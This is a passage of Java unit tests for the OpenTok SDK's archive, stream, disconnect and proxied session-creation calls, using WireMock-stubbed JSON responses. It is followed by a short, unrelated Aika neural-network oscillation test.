22,\n" + " \"id\" : \"ef546c5a-4fd7-4e59-ab3d-f1cfb4148d1d\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 2909274,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2Fef546c5" + "a-4fd7-4e59-ab3d-f1cfb4148d1d%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }, {\n" + " \"createdAt\" : 1395187910000,\n" + " \"duration\" : 14,\n" + " \"id\" : \"5350f06f-0166-402e-bc27-09ba54948512\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 1952651,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2F5350f06" + "f-0166-402e-bc27-09ba54948512%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }, {\n" + " \"createdAt\" : 1395187836000,\n" + " \"duration\" : 62,\n" + " \"id\" : \"f6e7ee58-d6cf-4a59-896b-6d56b158ec71\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 8347554,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2Ff6e7ee5" + "8-d6cf-4a59-896b-6d56b158ec71%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }, {\n" + " \"createdAt\" : 1395183243000,\n" + " \"duration\" : 544,\n" + " \"id\" : \"30b3ebf1-ba36-4f5b-8def-6f70d9986fe9\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 78499758,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2F30b3ebf" + "1-ba36-4f5b-8def-6f70d9986fe9%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }, {\n" + " \"createdAt\" : 1394396753000,\n" + " \"duration\" : 24,\n" + " \"id\" : \"b8f64de1-e218-4091-9544-4cbf369fc238\",\n" + " \"name\" : \"showtime again\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 2227849,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2Fb8f64de" + "1-e218-4091-9544-4cbf369fc238%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }, {\n" + " \"createdAt\" : 1394321113000,\n" + " \"duration\" : 1294,\n" + " \"id\" : \"832641bf-5dbf-41a1-ad94-fea213e59a92\",\n" + " \"name\" : \"showtime\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 42165242,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2F832641b" + "f-5dbf-41a1-ad94-fea213e59a92%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " } ]\n" + " }"))); ArchiveList archives = sdk.listArchives(); assertNotNull(archives); assertEquals(6, archives.size()); assertEquals(60, archives.getTotalCount()); assertThat(archives.get(0), instanceOf(Archive.class)); assertEquals("ef546c5a-4fd7-4e59-ab3d-f1cfb4148d1d", archives.get(0).getId()); verify(getRequestedFor(urlMatching(archivePath))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(getRequestedFor(urlMatching(archivePath))))); Helpers.verifyUserAgent(); } @Test public void testListArchivesWithOffSetCount() throws OpenTokException { String sessionId = "SESSIONID"; String url = archivePath + "?offset=1&count=1"; stubFor(get(urlEqualTo(url)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"count\" : 60,\n" + " \"items\" : [ {\n" + " \"createdAt\" : 1395187930000,\n" + " \"duration\" : 22,\n" + " \"id\" : \"ef546c5a-4fd7-4e59-ab3d-f1cfb4148d1d\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 2909274,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2Fef546c5" + "a-4fd7-4e59-ab3d-f1cfb4148d1d%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }]\n" + " }"))); ArchiveList archives = sdk.listArchives(1, 1); assertNotNull(archives); assertEquals(1, archives.size()); assertEquals(60, archives.getTotalCount()); assertThat(archives.get(0), instanceOf(Archive.class)); assertEquals("ef546c5a-4fd7-4e59-ab3d-f1cfb4148d1d", archives.get(0).getId()); verify(getRequestedFor(urlEqualTo(url))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(getRequestedFor(urlMatching(url))))); Helpers.verifyUserAgent(); } @Test public void testListArchivesWithSessionIdOffSetCount() throws OpenTokException { String sessionId = "SESSIONID"; String url = archivePath + "?offset=1&count=1&sessionId=" + sessionId; stubFor(get(urlEqualTo(url)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"count\" : 60,\n" + " \"items\" : [ {\n" + " \"createdAt\" : 1395187930000,\n" + " \"duration\" : 22,\n" + " \"id\" : \"ef546c5a-4fd7-4e59-ab3d-f1cfb4148d1d\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 2909274,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2Fef546c5" + "a-4fd7-4e59-ab3d-f1cfb4148d1d%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }]\n" + " }"))); ArchiveList archives = sdk.listArchives(sessionId, 1, 1); assertNotNull(archives); assertEquals(1, archives.size()); assertEquals(60, archives.getTotalCount()); assertThat(archives.get(0), instanceOf(Archive.class)); assertEquals("ef546c5a-4fd7-4e59-ab3d-f1cfb4148d1d", archives.get(0).getId()); verify(getRequestedFor(urlEqualTo(url))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(getRequestedFor(urlMatching(url))))); Helpers.verifyUserAgent(); } @Test public void testListArchivesWithSessionId() throws OpenTokException { String sessionId = "SESSIONID"; String url = archivePath + "?sessionId=" + sessionId; stubFor(get(urlEqualTo(url)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"count\" : 60,\n" + " \"items\" : [ {\n" + " \"createdAt\" : 1395187930000,\n" + " \"duration\" : 22,\n" + " \"id\" : \"ef546c5a-4fd7-4e59-ab3d-f1cfb4148d1d\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 2909274,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2Fef546c5" + "a-4fd7-4e59-ab3d-f1cfb4148d1d%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }, {\n" + " \"createdAt\" : 1395187910000,\n" + " \"duration\" : 14,\n" + " \"id\" : \"5350f06f-0166-402e-bc27-09ba54948512\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 1952651,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2F5350f06" + "f-0166-402e-bc27-09ba54948512%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }, {\n" + " \"createdAt\" : 1395187836000,\n" + " \"duration\" : 62,\n" + " \"id\" : \"f6e7ee58-d6cf-4a59-896b-6d56b158ec71\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 8347554,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2Ff6e7ee5" + "8-d6cf-4a59-896b-6d56b158ec71%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }, {\n" + " \"createdAt\" : 1395183243000,\n" + " \"duration\" : 544,\n" + " \"id\" : \"30b3ebf1-ba36-4f5b-8def-6f70d9986fe9\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 78499758,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2F30b3ebf" + "1-ba36-4f5b-8def-6f70d9986fe9%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }, {\n" + " \"createdAt\" : 1394396753000,\n" + " \"duration\" : 24,\n" + " \"id\" : \"b8f64de1-e218-4091-9544-4cbf369fc238\",\n" + " \"name\" : \"showtime again\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 2227849,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2Fb8f64de" + "1-e218-4091-9544-4cbf369fc238%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }, {\n" + " \"createdAt\" : 1394321113000,\n" + " \"duration\" : 1294,\n" + " \"id\" : \"832641bf-5dbf-41a1-ad94-fea213e59a92\",\n" + " \"name\" : \"showtime\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 42165242,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2F832641b" + "f-5dbf-41a1-ad94-fea213e59a92%2Farchive.mp4?Expires=1395188695&AWSAccessKeyId=AKIAI6" + "LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " } ]\n" + " }"))); ArchiveList archives = sdk.listArchives(sessionId); assertNotNull(archives); assertEquals(6, archives.size()); assertEquals(60, archives.getTotalCount()); assertThat(archives.get(0), instanceOf(Archive.class)); assertEquals("ef546c5a-4fd7-4e59-ab3d-f1cfb4148d1d", archives.get(0).getId()); verify(getRequestedFor(urlEqualTo(url))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(getRequestedFor(urlMatching(url))))); Helpers.verifyUserAgent(); } @Test public void testListArchivesWithEmptySessionID() throws OpenTokException { int exceptionCount = 0; int testCount = 2; try { ArchiveList archives = sdk.listArchives(""); } catch (InvalidArgumentException e) { assertEquals(e.getMessage(),"Session string null or empty"); exceptionCount++; } try { ArchiveList archives = sdk.listArchives(null); } catch (InvalidArgumentException e) { assertEquals(e.getMessage(),"Session string null or empty"); exceptionCount++; } assertTrue(exceptionCount == testCount); } @Test public void testListArchivesWithWrongOffsetCountValues() throws OpenTokException { int exceptionCount = 0; int testCount = 4; try { ArchiveList archives = sdk.listArchives(-2,0); } catch (InvalidArgumentException e) { assertEquals(e.getMessage(),"Make sure count parameter value is >= 0 and/or offset parameter value is <=1000"); exceptionCount++; } try { ArchiveList archives = sdk.listArchives(0,1200); } catch (InvalidArgumentException e) { assertEquals(e.getMessage(),"Make sure count parameter value is >= 0 and/or offset parameter value is <=1000"); exceptionCount++; } try { ArchiveList archives = sdk.listArchives(-10,12); } catch (InvalidArgumentException e) { assertEquals(e.getMessage(),"Make sure count parameter value is >= 0 and/or offset parameter value is <=1000"); exceptionCount++; } try { ArchiveList archives = sdk.listArchives(-10,1200); } catch (InvalidArgumentException e) { assertEquals(e.getMessage(),"Make sure count parameter value is >= 0 and/or offset parameter value is <=1000"); exceptionCount++; } assertTrue(exceptionCount == testCount); } @Test public void testStartArchive() throws OpenTokException { String sessionId = "SESSIONID"; stubFor(post(urlEqualTo(archivePath)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"createdAt\" : 1395183243556,\n" + " \"duration\" : 0,\n" + " \"id\" : \"30b3ebf1-ba36-4f5b-8def-6f70d9986fe9\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 0,\n" + " \"status\" : \"started\",\n" + " \"url\" : null\n" + " }"))); ArchiveProperties properties = new ArchiveProperties.Builder().name(null).build(); Archive archive = sdk.startArchive(sessionId, properties); assertNotNull(archive); assertEquals(sessionId, archive.getSessionId()); assertNotNull(archive.getId()); verify(postRequestedFor(urlMatching(archivePath))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(archivePath))))); Helpers.verifyUserAgent(); } @Test public void testStartArchiveWithName() throws OpenTokException { String sessionId = "SESSIONID"; String name = "archive_name"; stubFor(post(urlEqualTo(archivePath)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"createdAt\" : 1395183243556,\n" + " \"duration\" : 0,\n" + " \"id\" : \"30b3ebf1-ba36-4f5b-8def-6f70d9986fe9\",\n" + " \"name\" : \"archive_name\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 0,\n" + " \"status\" : \"started\",\n" + " \"url\" : null\n" + " }"))); Archive archive = sdk.startArchive(sessionId, name); assertNotNull(archive); assertEquals(sessionId, archive.getSessionId()); assertEquals(name, archive.getName()); assertNotNull(archive.getId()); verify(postRequestedFor(urlMatching(archivePath))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(archivePath))))); Helpers.verifyUserAgent(); } @Test public void testStartVoiceOnlyArchive() throws OpenTokException { String sessionId = "SESSIONID"; stubFor(post(urlEqualTo(archivePath)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"createdAt\" : 1395183243556,\n" + " \"duration\" : 0,\n" + " \"id\" : \"30b3ebf1-ba36-4f5b-8def-6f70d9986fe9\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 0,\n" + " \"status\" : \"started\",\n" + " \"url\" : null,\n" + " \"hasVideo\" : false,\n" + " \"hasAudio\" : true\n" + " }"))); ArchiveProperties properties = new ArchiveProperties.Builder().hasVideo(false).build(); Archive archive = sdk.startArchive(sessionId, properties); assertNotNull(archive); assertEquals(sessionId, archive.getSessionId()); assertNotNull(archive.getId()); verify(postRequestedFor(urlMatching(archivePath))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(archivePath))))); Helpers.verifyUserAgent(); } @Test public void testStartComposedArchive() throws OpenTokException { String sessionId = "SESSIONID"; stubFor(post(urlEqualTo(archivePath)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"createdAt\" : 1395183243556,\n" + " \"duration\" : 0,\n" + " \"id\" : \"30b3ebf1-ba36-4f5b-8def-6f70d9986fe9\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 0,\n" + " \"status\" : \"started\",\n" + " \"url\" : null,\n" + " \"outputMode\" : \"composed\"\n" + " }"))); ArchiveProperties properties = new ArchiveProperties.Builder() .outputMode(OutputMode.COMPOSED) .build(); Archive archive = sdk.startArchive(sessionId, properties); assertNotNull(archive); assertEquals(sessionId, archive.getSessionId()); assertNotNull(archive.getId()); assertEquals(OutputMode.COMPOSED, archive.getOutputMode()); verify(postRequestedFor(urlMatching(archivePath))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(archivePath))))); Helpers.verifyUserAgent(); } @Test public void testStartComposedArchiveWithLayout() throws OpenTokException { String sessionId = "SESSIONID"; stubFor(post(urlEqualTo(archivePath)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"createdAt\" : 1395183243556,\n" + " \"duration\" : 0,\n" + " \"id\" : \"30b3ebf1-ba36-4f5b-8def-6f70d9986fe9\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 0,\n" + " \"status\" : \"started\",\n" + " \"url\" : null,\n" + " \"outputMode\" : \"composed\"\n" + " }"))); ArchiveProperties properties = new ArchiveProperties.Builder() .outputMode(OutputMode.COMPOSED) .layout(new ArchiveLayout(ArchiveLayout.Type.CUSTOM, "stream { position: absolute; }")) .build(); Archive archive = sdk.startArchive(sessionId, properties); assertNotNull(archive); assertEquals(sessionId, archive.getSessionId()); assertNotNull(archive.getId()); assertEquals(OutputMode.COMPOSED, archive.getOutputMode()); verify(postRequestedFor(urlMatching(archivePath))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(archivePath))))); Helpers.verifyUserAgent(); } @Test public void testStartIndividualArchive() throws OpenTokException { String sessionId = "SESSIONID"; stubFor(post(urlEqualTo(archivePath)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"createdAt\" : 1395183243556,\n" + " \"duration\" : 0,\n" + " \"id\" : \"30b3ebf1-ba36-4f5b-8def-6f70d9986fe9\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 0,\n" + " \"status\" : \"started\",\n" + " \"url\" : null,\n" + " \"outputMode\" : \"individual\"\n" + " }"))); ArchiveProperties properties = new ArchiveProperties.Builder().outputMode(OutputMode.INDIVIDUAL).build(); Archive archive = sdk.startArchive(sessionId, properties); assertNotNull(archive); assertEquals(sessionId, archive.getSessionId()); assertNotNull(archive.getId()); assertEquals(OutputMode.INDIVIDUAL, archive.getOutputMode()); verify(postRequestedFor(urlMatching(archivePath))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(archivePath))))); Helpers.verifyUserAgent(); } // TODO: test start archive with name // TODO: test start archive failure scenarios @Test public void testStopArchive() throws OpenTokException { String archiveId = "ARCHIVEID"; stubFor(post(urlEqualTo(archivePath + "/" + archiveId + "/stop")) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"createdAt\" : 1395183243000,\n" + " \"duration\" : 0,\n" + " \"id\" : \"ARCHIVEID\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 0,\n" + " \"status\" : \"stopped\",\n" + " \"url\" : null\n" + " }"))); Archive archive = sdk.stopArchive(archiveId); assertNotNull(archive); assertEquals("SESSIONID", archive.getSessionId()); assertEquals(archiveId, archive.getId()); verify(postRequestedFor(urlMatching(archivePath + "/" + archiveId + "/stop"))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(archivePath + "/" + archiveId + "/stop"))))); Helpers.verifyUserAgent(); } // TODO: test stop archive failure scenarios @Test public void testDeleteArchive() throws OpenTokException { String archiveId = "ARCHIVEID"; stubFor(delete(urlEqualTo(archivePath + "/" + archiveId)) .willReturn(aResponse() .withStatus(204) .withHeader("Content-Type", "application/json"))); sdk.deleteArchive(archiveId); verify(deleteRequestedFor(urlMatching(archivePath + "/" + archiveId))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(deleteRequestedFor(urlMatching(archivePath + "/" + archiveId))))); Helpers.verifyUserAgent(); } // TODO: test delete archive failure scenarios // NOTE: this test is pretty sloppy @Test public void testGetExpiredArchive() throws OpenTokException { String archiveId = "ARCHIVEID"; stubFor(get(urlEqualTo(archivePath + "/" + archiveId)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"createdAt\" : 1395187836000,\n" + " \"duration\" : 62,\n" + " \"id\" : \"" + archiveId + "\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 8347554,\n" + " \"status\" : \"expired\",\n" + " \"url\" : null\n" + " }"))); Archive archive = sdk.getArchive(archiveId); assertNotNull(archive); assertEquals(Archive.Status.EXPIRED, archive.getStatus()); } // NOTE: this test is pretty sloppy @Test public void testGetPausedArchive() throws OpenTokException { String archiveId = "ARCHIVEID"; stubFor(get(urlEqualTo(archivePath + "/" + archiveId)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"createdAt\" : 1395187836000,\n" + " \"duration\" : 62,\n" + " \"id\" : \"" + archiveId + "\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 8347554,\n" + " \"status\" : \"paused\",\n" + " \"url\" : null\n" + " }"))); Archive archive = sdk.getArchive(archiveId); assertNotNull(archive); assertEquals(Archive.Status.PAUSED, archive.getStatus()); } @Test public void testGetArchiveWithUnknownProperties() throws OpenTokException { String archiveId = "ARCHIVEID"; stubFor(get(urlEqualTo(archivePath + "/" + archiveId)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"createdAt\" : 1395187836000,\n" + " \"duration\" : 62,\n" + " \"id\" : \"" + archiveId + "\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 8347554,\n" + " \"status\" : \"expired\",\n" + " \"url\" : null,\n" + " \"thisisnotaproperty\" : null\n" + " }"))); Archive archive = sdk.getArchive(archiveId); assertNotNull(archive); } @Test public void testGetStreamWithId() throws OpenTokException { String sessionID = "SESSIONID"; String streamID = "STREAMID"; String url = "/v2/project/" + this.apiKey + "/session/" + sessionID + "/stream/" + streamID; stubFor(get(urlEqualTo(url)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"id\" : \"" + streamID + "\",\n" + " \"name\" : \"\",\n" + " \"videoType\" : \"camera\",\n" + " \"layoutClassList\" : [] \n" + " }"))); Stream stream = sdk.getStream(sessionID, streamID); assertNotNull(stream); assertEquals(streamID, stream.getId()); assertEquals("", stream.getName()); assertEquals("camera", stream.getVideoType()); verify(getRequestedFor(urlMatching(url))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(getRequestedFor(urlMatching(url))))); Helpers.verifyUserAgent(); } @Test public void testListStreams() throws OpenTokException { String sessionID = "SESSIONID"; String url = "/v2/project/" + this.apiKey + "/session/" + sessionID + "/stream"; stubFor(get(urlEqualTo(url)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"count\" : 2,\n" + " \"items\" : [ {\n" + " \"id\" : \"" + 1234 + "\",\n" + " \"name\" : \"\",\n" + " \"videoType\" : \"camera\",\n" + " \"layoutClassList\" : [] \n" + " }, {\n" + " \"id\" : \"" + 5678 + "\",\n" + " \"name\" : \"\",\n" + " \"videoType\" : \"screen\",\n" + " \"layoutClassList\" : [] \n" + " } ]\n" + " }"))); StreamList streams = sdk.listStreams(sessionID); assertNotNull(streams); assertEquals(2,streams.getTotalCount()); Stream stream1 = streams.get(0); Stream stream2 = streams.get(1); assertEquals("1234", stream1.getId()); assertEquals("", stream1.getName()); assertEquals("camera", stream1.getVideoType()); assertEquals("5678", stream2.getId()); assertEquals("", stream2.getName()); assertEquals("screen", stream2.getVideoType()); verify(getRequestedFor(urlMatching(url))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(getRequestedFor(urlMatching(url))))); Helpers.verifyUserAgent(); } @Test public void testforceDisconnect() throws OpenTokException { String sessionId = "SESSIONID"; String connectionId = "CONNECTIONID"; String path = "/v2/project/" + apiKey + "/session/" + sessionId + "/connection/" + connectionId ; stubFor(delete(urlEqualTo(path)) .willReturn(aResponse() .withStatus(204) .withHeader("Content-Type", "application/json"))); sdk.forceDisconnect(sessionId,connectionId); verify(deleteRequestedFor(urlMatching(path))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(deleteRequestedFor(urlMatching(path))))); Helpers.verifyUserAgent(); } @Test public void testCreateSessionWithProxy() throws OpenTokException, UnknownHostException { WireMockConfiguration proxyConfig = WireMockConfiguration.wireMockConfig(); proxyConfig.dynamicPort(); WireMockServer proxyingService = new WireMockServer(proxyConfig); proxyingService.start(); WireMock proxyingServiceAdmin = new WireMock(proxyingService.port()); String targetServiceBaseUrl = "http://localhost:" + wireMockRule.port(); proxyingServiceAdmin.register(any(urlMatching(".*")).atPriority(10) .willReturn(aResponse() .proxiedFrom(targetServiceBaseUrl))); String sessionId = "SESSIONID"; Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(InetAddress.getLocalHost(), proxyingService.port())); sdk = new OpenTok.Builder(apiKey, apiSecret).apiUrl(targetServiceBaseUrl).proxy(proxy).build(); stubFor(post(urlEqualTo("/session/create")) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("[{\"session_id\":\"" + sessionId + "\",\"project_id\":\"00000000\"," + "\"partner_id\":\"123456\"," + "\"create_dt\":\"Mon Mar 17 00:41:31 PDT 2014\"," + "\"media_server_url\":\"\"}]"))); Session session = sdk.createSession(); assertNotNull(session); assertEquals(apiKey, session.getApiKey()); assertEquals(sessionId, session.getSessionId()); verify(postRequestedFor(urlMatching(SESSION_CREATE))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(SESSION_CREATE))))); Helpers.verifyUserAgent(); } }
package network.aika; import network.aika.debugger.AikaDebugger; import network.aika.neuron.Synapse; import network.aika.neuron.Templates; import network.aika.neuron.activation.Activation; import network.aika.neuron.excitatory.BindingNeuron; import network.aika.neuron.excitatory.PatternNeuron; import network.aika.text.Document; import network.aika.text.TextModel; import network.aika.utils.TestUtils; import org.junit.jupiter.api.Test; import static network.aika.utils.TestUtils.*; public class OscillationTest { @Test public void oscillationTest() { TextModel m = new TextModel(); Templates t = m.getTemplates(); m.setN(912); Document doc = new Document(m, "A "); doc.setConfig( getConfig() .setAlpha(0.99) .setLearnRate(-0.1) .setEnableTraining(true) ); PatternNeuron nA = createNeuron(t.SAME_PATTERN_TEMPLATE, "P-A"); nA.setFrequency(53.0); nA.getSampleSpace().setN(299); nA.getSampleSpace().setLastPosition(899l); BindingNeuron nPPA = createNeuron(t.SAME_BINDING_TEMPLATE, "B-A"); createSynapse(t.PRIMARY_INPUT_SYNAPSE_TEMPLATE, nA, nPPA, 0.3); AikaDebugger.createAndShowGUI(doc); doc.addToken(nA, 0, 1); doc.process(); doc.updateModel(); System.out.println(); } }
